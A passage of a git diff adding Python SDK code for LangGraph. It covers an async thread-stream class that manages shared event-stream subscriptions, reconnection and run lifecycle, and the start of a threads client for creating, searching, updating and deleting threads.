self._fanout_task + if self._shared_stream is not None: + await self._shared_stream.close() + if self._transport is not None: + await self._transport.close() + + def _register_subscription(self, params: SubscribeParams) -> _Subscription: + """Allocate a subscription id and add it to the registry.""" + sub = _Subscription( + id=self._next_subscription_id, + params=params, + queue=asyncio.Queue(maxsize=self._max_queue_size), + ) + self._next_subscription_id += 1 + self._subscriptions[sub.id] = sub + return sub + + def _unregister_subscription(self, subscription_id: int) -> None: + """Remove a subscription from the registry. No-op if already absent.""" + self._subscriptions.pop(subscription_id, None) + + def _activate_root_messages_inbox(self) -> asyncio.Queue[Event | None]: + """Create the root-scope messages inbox if not already active and return it. + + Called by `_SubgraphsProjection` at scope `()` to capture messages events + that arrive at namespace `[]` before `thread.messages` has subscribed. + """ + if self._root_messages_inbox is None: + self._root_messages_inbox = asyncio.Queue() + return self._root_messages_inbox + + def _register_active_message_stream(self, stream: AsyncChatModelStream) -> None: + self._active_message_streams.add(stream) + + def _unregister_active_message_stream(self, stream: AsyncChatModelStream) -> None: + self._active_message_streams.discard(stream) + + def _fail_active_message_streams(self, err: BaseException) -> None: + for stream in list(self._active_message_streams): + stream.fail(err) + self._active_message_streams.clear() + + def _register_active_tool_call(self, handle: ToolCallHandle) -> None: + self._active_tool_calls.add(handle) + + def _unregister_active_tool_call(self, handle: ToolCallHandle) -> None: + self._active_tool_calls.discard(handle) + + def _fail_active_tool_calls(self, err: BaseException) -> None: + for handle in list(self._active_tool_calls): + handle._fail(err) + self._active_tool_calls.clear() + + def _signal_paused(self) -> None: + """Wake every active projection iterator on interrupt / run end. + + Pushes the terminal sentinel (`None`) into every subscription + queue. Iterators see `None` and return; the shared SSE keeps + running so re-iteration after `run.respond(...)` registers a + fresh subscription and resumes. + + `root_messages_inbox` is intentionally NOT signaled here: the + subgraphs projection that populates it is responsible for + pushing the terminal `None` in its own `finally` block, so any + message events it redirected to the inbox land before the + sentinel. Signaling root_inbox here would race the redirection + and could drop messages. + """ + # On a saturated queue the consumer is already behind; the iterator + # will still terminate when it drains to this point. + for sub in list(self._subscriptions.values()): + with contextlib.suppress(asyncio.QueueFull): + sub.queue.put_nowait(None) + + def observe_applied_through_seq(self, seq: Any) -> None: + """Advance the reconnect cursor from a command response meta sequence.""" + if isinstance(seq, int) and (self._cursor is None or seq > self._cursor): + self._cursor = seq + + def _observe_event(self, event: Event) -> None: + seq = event.get("seq") + if isinstance(seq, int) and (self._cursor is None or seq > self._cursor): + self._cursor = seq + + def subscribe( + self, + channels: list[str], + *, + namespaces: list[list[str]] | None = None, + depth: int | None = None, + ) -> AsyncIterator[Event]: + """Open a typed subscription against the shared SSE. + + Returns an async iterator that yields raw `Event` dicts matching the + given filter. Multiple concurrent subscribes share one HTTP connection + whose union expands or rotates as subscriptions come and go. + """ + if self._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + params: SubscribeParams = {"channels": list(channels)} + if namespaces is not None: + params["namespaces"] = namespaces + if depth is not None: + params["depth"] = depth + return self._subscription_iter(params) + + async def interleave_projections( + self, channels: list[str] + ) -> AsyncIterator[tuple[str, Any]]: + """Yield `(channel_name, item)` tuples across multiple projections. + + One shared subscription drives all per-channel decoders; items arrive + in server-emit order (the SDK analog of `GraphRunStream.interleave`). + + Args: + channels: Flat list of `"values"`, `"messages"`, `"tool_calls"`, + `"subgraphs"`, and/or extension names. Built-ins yield their + typed item (snapshot dict / `AsyncChatModelStream` / + `ToolCallHandle` / `ScopedStreamHandle`); an extension yields + its payload dict, keyed by the bare extension name. + + Note: + Handles and streams are yielded eagerly (before their sub-stream + completes), so items arrive interleaved in real time. To receive a + fully-resolved handle (output already populated), use the dedicated + `thread.tool_calls` / `thread.messages` projections instead. + """ + validate_interleave_channels(channels) + if self._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + decoders: dict[str, Decoder] = {} + sub_params: list[SubscribeParams] = [] + for ch in channels: + if ch == "values": + decoders[ch] = DataDecoder("values") + sub_params.append({"channels": ["values"]}) + elif ch in ("updates", "checkpoints", "tasks"): + # Plain payload channels (local Updates/Checkpoints/Tasks + # analog). Root-scope filter is load-bearing: a co-requested + # unscoped `values` widens the merged subscription to all + # namespaces, so the decoder itself keeps subgraph payloads out. + decoders[ch] = DataDecoder(ch, namespace=[]) + sub_params.append(_exact_namespace_params([ch], [])) + elif ch == "messages": + decoders[ch] = MessagesDecoder( + namespace=[], + stream_factory=lambda *, namespace, node, message_id: ( + AsyncChatModelStream( + namespace=namespace, node=node, message_id=message_id + ) + ), + ) + sub_params.append(_exact_namespace_params(["messages"], [])) + elif ch == "tool_calls": + decoders[ch] = ToolCallsDecoder( + namespace=[], + handle_factory=lambda *, tool_call_id, name, input, namespace: ( + ToolCallHandle( + tool_call_id=tool_call_id, + name=name, + input=input, + namespace=namespace, + ) + ), + ) + sub_params.append(_exact_namespace_params(["tools"], [])) + elif ch == "subgraphs": + decoders[ch] = SubgraphsDecoder( + scope=(), + handle_factory=lambda *, path, graph_name, trigger_call_id: ( + ScopedStreamHandle( + thread=self, + path=path, + graph_name=graph_name, + trigger_call_id=trigger_call_id, + ) + ), + ) + sub_params.append(_subgraph_subscription_params(())) + else: + decoders[ch] = ExtensionsDecoder(name=ch) + sub_params.append({"channels": [f"custom:{ch}"]}) + if not sub_params: + return + merged = cast( + SubscribeParams, + compute_union_filter(cast(list[dict[str, Any]], sub_params)), + ) + subgraphs = decoders.get("subgraphs") + # Track decoder-created handles so teardown can finalize anything still + # in flight; otherwise an awaiting `handle.output` / `handle.messages` + # would hang after an early break or run termination. + registered_tool_calls: list[ToolCallHandle] = [] + registered_message_streams: list[AsyncChatModelStream] = [] + try: + async for event in self._subscription_iter(merged): + if subgraphs is not None: + for item in subgraphs.feed(event): + yield ("subgraphs", item) + wire = infer_channel(event) + public = self._interleave_public_name(wire) + # subgraphs is driven separately above (it consumes all events); never dispatch it here. + if public is not None and public != "subgraphs": + decoder = decoders.get(public) + if decoder is not None: + for item in decoder.feed(event): + if public == "tool_calls": + self._register_active_tool_call(item) + registered_tool_calls.append(item) + elif public == "messages": + self._register_active_message_stream(item) + registered_message_streams.append(item) + yield (public, item) + finally: + self._finalize_interleave_decoders( + decoders.get("tool_calls"), + subgraphs, + registered_tool_calls, + registered_message_streams, + ) + + @staticmethod + def _interleave_public_name(wire: str | None) -> str | None: + """Map a wire channel name to the public channel name used in interleave tuples.""" + if wire is None: + return None + if wire == "tools": + return "tool_calls" + if wire.startswith("custom:"): + return wire[len("custom:") :] + return wire # values, messages (tasks/lifecycle pass through with no decoder match) + + def _finalize_interleave_decoders( + self, + tool_calls: Decoder | None, + subgraphs: Decoder | None, + registered_tool_calls: list[ToolCallHandle], + registered_message_streams: list[AsyncChatModelStream], + ) -> None: + """Finalize in-flight handles when `interleave_projections` tears down. + + Mirrors the terminal handling of the dedicated `_ToolCallsProjection` / + `_SubgraphsProjection`: in-flight tool calls are failed (so awaiting + `handle.output` can't hang) and discovered subgraph children are + force-completed with the run's terminal status. + """ + run_done = self._run_done + resolved = ( + run_done.result() + if run_done is not None and run_done.done() and not run_done.cancelled() + else None + ) + if isinstance(tool_calls, ToolCallsDecoder): + err: BaseException = ( + resolved.error + if resolved is not None and resolved.error is not None + else RuntimeError("Tool call stream closed before terminal tool event.") + ) + for handle in list(tool_calls._active.values()): + handle._fail(err) + for handle in registered_tool_calls: + self._unregister_active_tool_call(handle) + for stream in registered_message_streams: + self._unregister_active_message_stream(stream) + if isinstance(subgraphs, SubgraphsDecoder): + terminal_status: SubgraphStatus = ( + "failed" + if isinstance(resolved, _RunTerminal) and resolved.status == "errored" + else "completed" + ) + for child in subgraphs._active.values(): + if child.status == "started": + child._finish(terminal_status) + + async def _subscription_iter( + self, params: SubscribeParams + ) -> AsyncGenerator[Event, None]: + sub = self._register_subscription(params) + try: + if self._closed: + return + await self._reconcile_stream(params) + self._ensure_fanout_running() + while True: + item = await sub.queue.get() + if item is None: + return + yield item + finally: + self._unregister_subscription(sub.id) + + def _ensure_fanout_running(self) -> None: + if self._fanout_task is None or self._fanout_task.done(): + self._fanout_task = asyncio.create_task(self._fanout()) + + async def _fanout(self) -> None: + """Single consumer of the shared SSE; routes events to subscriptions. + + Why: rotation in `_reconcile_stream` replaces `_shared_stream` mid-loop. + Re-read `self._shared_stream` on each outer iteration so we always + consume from the current handle. The old handle's iterator exhausts + naturally after `_close_after` closes it. + + On a post-ready transport drop (non-cancelled error in `shared.done`), + attempts to reconnect up to `_shared_max_reconnect_attempts` times so + scoped projections (subgraph child handles, message streams) survive + without losing buffered events. The reconnect replays `since=` + and `_dedup_iter` drops any overlap. + """ + from langgraph_sdk.stream.subscription import matches_subscription + + while not self._closed: + shared = self._shared_stream + if shared is None: + return + try: + async for event in self._dedup_iter(shared.events): + if self._closed: + break + self._observe_event(event) + for sub in list(self._subscriptions.values()): + if matches_subscription(event, sub.params): + sub.queue.put_nowait(event) + # On root-terminal lifecycle, push the `None` sentinel + # into all subscription queues so projection iterators + # exit when the run ends naturally. Runs on the shared + # SSE so the terminal is processed in seq order with + # the projection events -- any in-flight values / + # tools / messages events for this run are already + # queued before None. + if _is_root_terminal_lifecycle(event): + self._signal_paused() + except Exception: + # Pump errored — fall through to error-handling/reconnect. + pass + if self._shared_stream is shared: + # No rotation happened; the stream genuinely ended. Check + # `shared.done` for a post-ready drop and, if so, attempt to + # reconnect with `since=` so subscribers don't lose + # buffered events on a transient transport failure. + err = await shared.done + if ( + err is not None + and not isinstance(err, asyncio.CancelledError) + and not self._closed + ): + with contextlib.suppress(Exception): + await shared.close() + if await self._reconnect_shared_stream(): + continue + break + # Rotation: loop again to pick up the new _shared_stream. + + # Terminate consumers cleanly on shutdown / stream-end. + for sub in self._subscriptions.values(): + sub.queue.put_nowait(None) + + async def _reconnect_sleep(self, attempt: int) -> None: + """Sleep with exponential backoff and jitter for reconnect attempt `attempt`.""" + base = self._shared_reconnect_backoff_base + cap = self._shared_reconnect_backoff_cap + delay = min(cap, base * (2**attempt)) + jitter = random.uniform(0, delay * 0.25) + await asyncio.sleep(delay + jitter) + + async def _reconnect_shared_stream(self) -> bool: + """Attempt to reopen the shared stream after a post-ready transport drop. + + Returns: + `True` if a new stream was opened (caller should resume fanout), + `False` if all reconnect attempts were exhausted or the controller + was closed in the meantime. + """ + if self._transport is None: + return False + # Use the current shared-stream filter (latest computed union); if + # subscriptions changed during the drop, this picks up the new shape. + base_filter = self._shared_stream_filter + if base_filter is None: + return False + for attempt in range(self._shared_max_reconnect_attempts): + if self._closed: + return False + stream_params: dict[str, Any] = dict(base_filter) + if self._cursor is not None: + stream_params["since"] = self._cursor + try: + new_stream = self._transport.open_event_stream(stream_params) + await new_stream.ready + except asyncio.CancelledError: + raise + except Exception: + await self._reconnect_sleep(attempt) + continue + self._shared_stream = new_stream + return True + return False + + async def _reconcile_stream(self, candidate_filter: SubscribeParams) -> None: + """Ensure the shared SSE covers `candidate_filter`. Rotate if not. + + Open-new-before-close-old: any events buffered server-side between + the two opens are replayed on the new SSE, and the per-thread + `_seen_event_ids` set dedupes the overlap. Awaits `new_stream.ready` + so the HTTP connection is established before returning, guaranteeing + that both old and new streams are simultaneously connected during + rotation (enabling correct peak-count tracking and dedup correctness). + """ + await self._await_run_start_gate(timeout=self._run_start_timeout) + from langgraph_sdk.stream.subscription import filter_covers + + if self._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + + if ( + self._shared_stream is not None + and self._shared_stream_filter is not None + and filter_covers(self._shared_stream_filter, dict(candidate_filter)) + ): + return # Existing stream is sufficient. + + new_filter = self._compute_current_union(extra=candidate_filter) + stream_params: dict[str, Any] = dict(new_filter) + if self._cursor is not None: + stream_params["since"] = self._cursor + new_stream = self._transport.open_event_stream(stream_params) + old_stream = self._shared_stream + self._shared_stream = new_stream + self._shared_stream_filter = new_filter + # Await the new stream's ready future so the HTTP connection is + # established before we schedule the old stream's close. This ensures + # old and new are simultaneously open during the rotation window. + await new_stream.ready + if old_stream is not None: + # Schedule the old stream's close as a separate task so the + # caller doesn't pay close() latency in the rotation hot path. + asyncio.create_task(_close_after(old_stream)) # noqa: RUF006 + + def _compute_current_union( + self, extra: SubscribeParams | None = None + ) -> dict[str, Any]: + from langgraph_sdk.stream.subscription import compute_union_filter + + filters: list[dict[str, Any]] = [ + dict(sub.params) for sub in self._subscriptions.values() + ] + if extra is not None: + filters.append(dict(extra)) + # Always include lifecycle in the shared SSE so the fanout consumer + # sees root-terminal events in seq order with the projection events. + # See `_is_root_terminal_lifecycle` -- the fanout uses it to push + # the `None` sentinel into sub queues when the run ends naturally, + # which is what makes projection iterators exit on a long-lived + # SSE that doesn't EOF after the run. Per-subscription filtering + # (`matches_subscription`) drops lifecycle events for any + # subscription that didn't ask for them, so user-visible queues + # don't see leaked events. + filters.append({"channels": ["lifecycle"]}) + return compute_union_filter(filters) + + async def _dedup_iter(self, source: AsyncIterator[Event]) -> AsyncIterator[Event]: + async for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + continue + self._seen_event_ids.add(event_id) + yield event + + async def _send_command( + self, method: str, params: dict[str, Any] + ) -> dict[str, Any]: + """Send a protocol command and return the `result` payload. + + Returns `{}` for 202/204 responses (no body). Raises `RuntimeError` + with the protocol code/message when the server returns an error + envelope (`{"type": "error", ...}`). + """ + if self._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + command_id = self._next_command_id + self._next_command_id += 1 + response = await self._transport.send_command( + {"id": command_id, "method": method, "params": params} + ) + if response is None: + # 202/204 — no body. Caller gets an empty result. + return {} + if response.get("type") == "error": + code = response.get("error", "unknown") + message = response.get("message", "") + raise RuntimeError(f"Protocol error [{code}]: {message}") + meta = response.get("meta") + if isinstance(meta, dict): + applied_through_seq = meta.get("applied_through_seq") + if self._controller is not None: + self._controller.observe_applied_through_seq(applied_through_seq) + return response.get("result", {}) + + async def _await_run_start_gate(self, *, timeout: float | None = None) -> None: + """Wait for the current run.start to commit the thread server-side. + + No-op when no run.start is in flight. Re-raises if run.start failed. + Raises `asyncio.TimeoutError` if `timeout` is set and the gate does + not resolve in time; the gate itself is left intact for later callers. + """ + gate = self._run_start_ready + if gate is None or gate.done(): + return + if timeout is None: + await gate + else: + await asyncio.wait_for(asyncio.shield(gate), timeout=timeout) + + def _ensure_lifecycle_watcher_running(self) -> None: + if self._lifecycle_watcher_task is not None: + return + self._lifecycle_watcher_task = asyncio.create_task( + self._run_lifecycle_watcher() + ) + + def _observe_lifecycle_event(self, event: Event) -> None: + seq = event.get("seq") + if isinstance(seq, int) and ( + self._lifecycle_cursor is None or seq > self._lifecycle_cursor + ): + self._lifecycle_cursor = seq + + def _lifecycle_stream_params(self) -> dict[str, Any]: + params: dict[str, Any] = {"channels": ["lifecycle", "input"]} + if self._lifecycle_cursor is not None: + params["since"] = self._lifecycle_cursor + return params + + async def _run_lifecycle_watcher(self) -> None: + """Always-on SSE consuming lifecycle + input channels.""" + if self._transport is None: + return + reconnect_attempts = 0 + while not self._closed: + try: + handle = self._transport.open_event_stream( + self._lifecycle_stream_params() + ) + self._lifecycle_watcher_handle = handle + await asyncio.wait_for(handle.ready, timeout=5.0) + async for event in handle.events: + if self._closed: + return + self._observe_lifecycle_event(event) + await self._apply_lifecycle_event(event) + err = await handle.done + if err is None or isinstance(err, asyncio.CancelledError): + # Clean EOF: stream ended without a terminal lifecycle + # event. Resolve `_run_done` as errored so awaiters of + # `thread.output` don't hang. + if err is None: + run_done = self._run_done + if run_done is not None and not run_done.done(): + run_done.set_result( + _RunTerminal( + status="errored", + error=RuntimeError( + "lifecycle stream ended before terminal event" + ), + ) + ) + return + reconnect_attempts += 1 + if reconnect_attempts > self._lifecycle_max_reconnect_attempts: + raise err + await asyncio.sleep(0.05) + except asyncio.CancelledError: + raise + except Exception as exc: + reconnect_attempts += 1 + if reconnect_attempts <= self._lifecycle_max_reconnect_attempts: + await asyncio.sleep(0.05) + continue + run_done = self._run_done + if run_done is not None and not run_done.done(): + run_done.set_result( + _RunTerminal( + status="errored", + error=RuntimeError(f"Lifecycle transport failed: {exc}"), + ) + ) + return + + async def _fetch_state(self) -> dict[str, Any]: + """Fetch the current thread state from the REST endpoint.""" + return await self._http.get( + f"/threads/{self.thread_id}/state", + headers=self._headers or None, + ) + + def _state_is_terminal(self, state: dict[str, Any]) -> bool: + """Return `True` if the thread state has no pending tasks or next nodes.""" + return not state.get("next") and not state.get("tasks") + + def _can_return_existing_state_immediately(self) -> bool: + """Return `True` if we can try the REST state before waiting on the lifecycle. + + True only when the caller passed an explicit `thread_id` (not a minted + UUID) and no run has been seen yet, indicating a potential reattach to + an already-terminal thread. + """ + return self._explicit_thread_id and not self._run_seen + + async def _wait_for_run_done(self) -> _RunTerminal: + """Await `_run_done`, raising if the stream was never entered or no run exists. + + Raises: + RuntimeError: stream not entered, or no run started and no explicit + thread_id was provided. + """ + if self._run_done is None: + raise RuntimeError("AsyncThreadStream not entered — use async with") + if not self._run_seen and not self._explicit_thread_id: + raise RuntimeError( + "thread.output: no run has been started and no explicit thread_id " + "was provided. Call thread.run.start() first." + ) + return await self._run_done + + async def _apply_lifecycle_event(self, event: Event) -> None: + """Update `interrupted` / `interrupts` / `_run_done` from a lifecycle or input event.""" + method = event.get("method") + if method == "input.requested": + params = event.get("params") or {} + data = params.get("data") if isinstance(params, dict) else None + interrupt_id = data.get("interrupt_id") if isinstance(data, dict) else None + if isinstance(interrupt_id, str): + payload: InterruptPayload = { + "interrupt_id": interrupt_id, + "value": data.get("value") if isinstance(data, dict) else None, + "namespace": params.get("namespace") or [] + if isinstance(params, dict) + else [], + } + async with self._interrupts_lock: + was_interrupted = self.interrupted + self.interrupts.append(payload) + self.interrupted = True + # On the rising edge of `interrupted`, push the terminal + # sentinel into every active projection subscription so their + # iterators exit cleanly. The run is paused — not done — so + # the shared SSE and fanout keep running; a subsequent + # `async for snap in thread.values:` (or any other + # projection) registers a fresh subscription and resumes + # iteration once the consumer calls `run.respond(...)`. + if not was_interrupted: + self._signal_paused() + elif method == "lifecycle": + params = event.get("params") or {} + data = params.get("data") if isinstance(params, dict) else None + phase = data.get("event") if isinstance(data, dict) else None + if phase in ("started", "running"): + # Mark that we have observed an active run so thread.output + # knows a run exists (handles reattach without run.start). + self._run_seen = True + elif phase in ("completed", "failed"): + # Why: interrupts describe current-run state. Clear on terminal + # lifecycle so a subsequent run.respond() can't fire against a + # stale prior-run interrupt_id. Acquire `_interrupts_lock` so + # any in-flight `run.respond` either completes against the + # pre-clear snapshot or sees the cleared state — never both. + async with self._interrupts_lock: + self.interrupted = False + self.interrupts = [] + run_done = self._run_done + if run_done is not None and not run_done.done(): + if phase == "failed": + error_msg = ( + data.get("error") if isinstance(data, dict) else None + ) + error = RuntimeError( + f"Run errored: {error_msg}" if error_msg else "Run errored" + ) + self._fail_active_message_streams(error) + self._fail_active_tool_calls(error) + run_done.set_result(_RunTerminal(status="errored", error=error)) + else: + run_done.set_result(_RunTerminal(status="completed")) diff --git a/libs/sdk-py/langgraph_sdk/_async/threads.py b/libs/sdk-py/langgraph_sdk/_async/threads.py new file mode 100644 index 0000000..7b29300 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/threads.py @@ -0,0 +1,830 @@ +"""Async client for managing threads in LangGraph.""" + +from __future__ import annotations + +import uuid +from collections.abc import AsyncIterator, Mapping, Sequence +from typing import Any, Literal, overload + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.stream import AsyncThreadStream +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.schema import ( + Checkpoint, + Json, + OnConflictBehavior, + PruneStrategy, + QueryParamTypes, + SortOrder, + StreamPart, + Thread, + ThreadSelectField, + ThreadSortBy, + ThreadState, + ThreadStatus, + ThreadStreamMode, + ThreadUpdateStateResponse, +) + + +class ThreadsClient: + """Client for managing threads in LangGraph. + + A thread maintains the state of a graph across multiple interactions/invocations (aka runs). + It accumulates and persists the graph's state, allowing for continuity between separate + invocations of the graph. + + ???+ example "Example" + + ```python + client = get_client(url="http://localhost:2024")) + new_thread = await client.threads.create(metadata={"user_id": "123"}) + ``` + """ + + def __init__(self, http: HttpClient) -> None: + self.http = http + + async def get( + self, + thread_id: str, + *, + include: Sequence[str] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread: + """Get a thread by ID. + + Args: + thread_id: The ID of the thread to get. + include: Additional fields to include in the response. + Supported values: `"ttl"`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Thread object. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + thread = await client.threads.get( + thread_id="my_thread_id" + ) + print(thread) + ``` + + ```shell + ----------------------------------------------------- + + { + 'thread_id': 'my_thread_id', + 'created_at': '2024-07-18T18:35:15.540834+00:00', + 'updated_at': '2024-07-18T18:35:15.540834+00:00', + 'metadata': {'graph_id': 'agent'} + } + ``` + + """ + query_params: dict[str, Any] = {} + if include: + query_params["include"] = ",".join(include) + if params: + query_params.update(params) + return await self.http.get( + f"/threads/{_quote_path_param(thread_id)}", + headers=headers, + params=query_params or None, + ) + + async def create( + self, + *, + metadata: Json = None, + thread_id: str | None = None, + if_exists: OnConflictBehavior | None = None, + supersteps: Sequence[dict[str, Sequence[dict[str, Any]]]] | None = None, + graph_id: str | None = None, + ttl: int | Mapping[str, Any] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread: + """Create a new thread. + + Args: + metadata: Metadata to add to thread. + thread_id: ID of thread. + If `None`, ID will be a randomly generated UUID. + if_exists: How to handle duplicate creation. Defaults to 'raise' under the hood. + Must be either 'raise' (raise error if duplicate), or 'do_nothing' (return existing thread). + supersteps: Apply a list of supersteps when creating a thread, each containing a sequence of updates. + Each update has `values` or `command` and `as_node`. Used for copying a thread between deployments. + graph_id: Optional graph ID to associate with the thread. + ttl: Optional time-to-live in minutes for the thread. You can pass an + integer (minutes) or a mapping with keys `ttl` and optional + `strategy` (defaults to "delete"). + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The created thread. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + thread = await client.threads.create( + metadata={"number":1}, + thread_id="my-thread-id", + if_exists="raise" + ) + ``` + """ + payload: dict[str, Any] = {} + if thread_id: + payload["thread_id"] = thread_id + if metadata or graph_id: + payload["metadata"] = { + **(metadata or {}), + **({"graph_id": graph_id} if graph_id else {}), + } + if if_exists: + payload["if_exists"] = if_exists + if supersteps: + payload["supersteps"] = [ + { + "updates": [ + { + "values": u["values"], + "command": u.get("command"), + "as_node": u["as_node"], + } + for u in s["updates"] + ] + } + for s in supersteps + ] + if ttl is not None: + if isinstance(ttl, (int, float)): + payload["ttl"] = {"ttl": ttl, "strategy": "delete"} + else: + payload["ttl"] = ttl + + return await self.http.post( + "/threads", json=payload, headers=headers, params=params + ) + + @overload + async def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: Literal[False] = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread: ... + + @overload + async def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: Literal[True], + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: ... + + @overload + async def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: bool, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread | None: ... + + async def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread | None: + """Update a thread. + + Args: + thread_id: ID of thread to update. + metadata: Metadata to merge with existing thread metadata. + ttl: Optional time-to-live in minutes for the thread. You can pass an + integer (minutes) or a mapping with keys `ttl` and optional + `strategy` (defaults to "delete"). + return_minimal: If `True`, request a 204 response with no body. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The updated thread, or `None` when `return_minimal=True`. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + thread = await client.threads.update( + thread_id="my-thread-id", + metadata={"number":1}, + ttl=43_200, + ) + ``` + """ + payload: dict[str, Any] = {"metadata": metadata} + if ttl is not None: + if isinstance(ttl, (int, float)): + payload["ttl"] = {"ttl": ttl, "strategy": "delete"} + else: + payload["ttl"] = ttl + request_headers = dict(headers or {}) + if return_minimal: + request_headers["Prefer"] = "return=minimal" + return await self.http.patch( + f"/threads/{_quote_path_param(thread_id)}", + json=payload, + headers=request_headers or None, + params=params, + ) + + async def delete( + self, + thread_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete a thread. + + Args: + thread_id: The ID of the thread to delete. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost2024) + await client.threads.delete( + thread_id="my_thread_id" + ) + ``` + + """ + await self.http.delete( + f"/threads/{_quote_path_param(thread_id)}", headers=headers, params=params + ) + + async def search( + self, + *, + metadata: Json = None, + values: Json = None, + ids: Sequence[str] | None = None, + status: ThreadStatus | None = None, + limit: int = 10, + offset: int = 0, + sort_by: ThreadSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[ThreadSelectField] | None = None, + extract: dict[str, str] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[Thread]: + """Search for threads. + + Args: + metadata: Thread metadata to filter on. + values: State values to filter on. + ids: List of thread IDs to filter by. + status: Thread status to filter on. + Must be one of 'idle', 'busy', 'interrupted' or 'error'. + limit: Limit on number of threads to return. + offset: Offset in threads table to start search from. + sort_by: Sort by field. + sort_order: Sort order. + select: List of fields to include in the response. + extract: Dictionary mapping aliases to JSONB paths to extract + from thread data. Paths use dot notation for nested keys and + bracket notation for array indices (e.g., + `{"last_msg": "values.messages[-1]"}`). Extracted values are + returned in an `extracted` field on each thread. Maximum 10 + paths per request. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + List of the threads matching the search parameters. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + threads = await client.threads.search( + metadata={"number":1}, + status="interrupted", + limit=15, + offset=5 + ) + ``` + + """ + payload: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + if values: + payload["values"] = values + if ids: + payload["ids"] = ids + if status: + payload["status"] = status + if sort_by: + payload["sort_by"] = sort_by + if sort_order: + payload["sort_order"] = sort_order + if select: + payload["select"] = select + if extract: + payload["extract"] = extract + return await self.http.post( + "/threads/search", + json=payload, + headers=headers, + params=params, + ) + + async def count( + self, + *, + metadata: Json = None, + values: Json = None, + status: ThreadStatus | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> int: + """Count threads matching filters. + + Args: + metadata: Thread metadata to filter on. + values: State values to filter on. + status: Thread status to filter on. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + int: Number of threads matching the criteria. + """ + payload: dict[str, Any] = {} + if metadata: + payload["metadata"] = metadata + if values: + payload["values"] = values + if status: + payload["status"] = status + return await self.http.post( + "/threads/count", json=payload, headers=headers, params=params + ) + + async def copy( + self, + thread_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Copy a thread. + + Args: + thread_id: The ID of the thread to copy. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024) + await client.threads.copy( + thread_id="my_thread_id" + ) + ``` + + """ + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/copy", + json=None, + headers=headers, + params=params, + ) + + async def prune( + self, + thread_ids: Sequence[str], + *, + strategy: PruneStrategy = "delete", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict[str, Any]: + """Prune threads by ID. + + Args: + thread_ids: List of thread IDs to prune. + strategy: The prune strategy. `"delete"` removes threads entirely. + `"keep_latest"` prunes old checkpoints but keeps threads and their + latest state. Defaults to `"delete"`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A dict containing `pruned_count` (number of threads pruned). + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + result = await client.threads.prune( + thread_ids=["thread_1", "thread_2"], + ) + print(result) # {'pruned_count': 2} + ``` + + """ + payload: dict[str, Any] = { + "thread_ids": thread_ids, + } + if strategy != "delete": + payload["strategy"] = strategy + return await self.http.post( + "/threads/prune", json=payload, headers=headers, params=params + ) + + async def get_state( + self, + thread_id: str, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, # deprecated + *, + subgraphs: bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> ThreadState: + """Get the state of a thread. + + Args: + thread_id: The ID of the thread to get the state of. + checkpoint: The checkpoint to get the state of. + checkpoint_id: (deprecated) The checkpoint ID to get the state of. + subgraphs: Include subgraphs states. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The thread of the state. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024) + thread_state = await client.threads.get_state( + thread_id="my_thread_id", + checkpoint_id="my_checkpoint_id" + ) + print(thread_state) + ``` + + ```shell + 